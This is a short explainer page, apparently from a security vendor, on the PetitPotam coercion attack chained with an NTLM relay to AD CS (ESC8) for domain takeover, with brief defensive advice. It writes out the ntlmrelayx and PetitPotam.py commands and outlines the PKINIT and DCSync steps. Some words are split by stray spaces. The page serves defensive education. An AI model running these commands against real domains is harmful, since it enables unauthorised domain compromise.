What is PetitPotam?

PetitPotam is an authentication coercion technique: using the MS-EFSRPC protocol, an attacker forces a target (often a domain controller) to authenticate to an attacker-controlled host. The captured machine authentication is then NTLM-relayed to an AD CS web enrollment endpoint (the ESC8 attack) to obtain a certificate for the DC, which the attacker uses to take over the domain. Defend by patching, hardening AD CS against NTLM relay, and disabling unneeded coercion surfaces.

HOW IT WORKS

01 How the attack works

The attacker starts an NTLM relay to an AD CS web enrollment server (`ntlmrelayx.py -t http://<ca>/certsrv/certfnsh.asp --adcs`), then coerces the DC with `PetitPotam.py <attacker-ip> <dc-ip>`. The DC's machine authentication is r elayed to AD CS, which issues a certificate for t he DC. The attacker then uses that certificate (via P KINIT) to authenticate as the DC and DCSync the d omain. This chains PetitPotam with the ESC8 AD C S relay. Shown for defensive testing.

SOURCES

[1] MITRE ATT&CK Enterprise Matrix

[2] Microsoft: Mitigating NTLM relay attacks on AD CS

Test your Active Directory before an attacker does.

securelayer7.net/learn/active-directory/petitpotam

Open online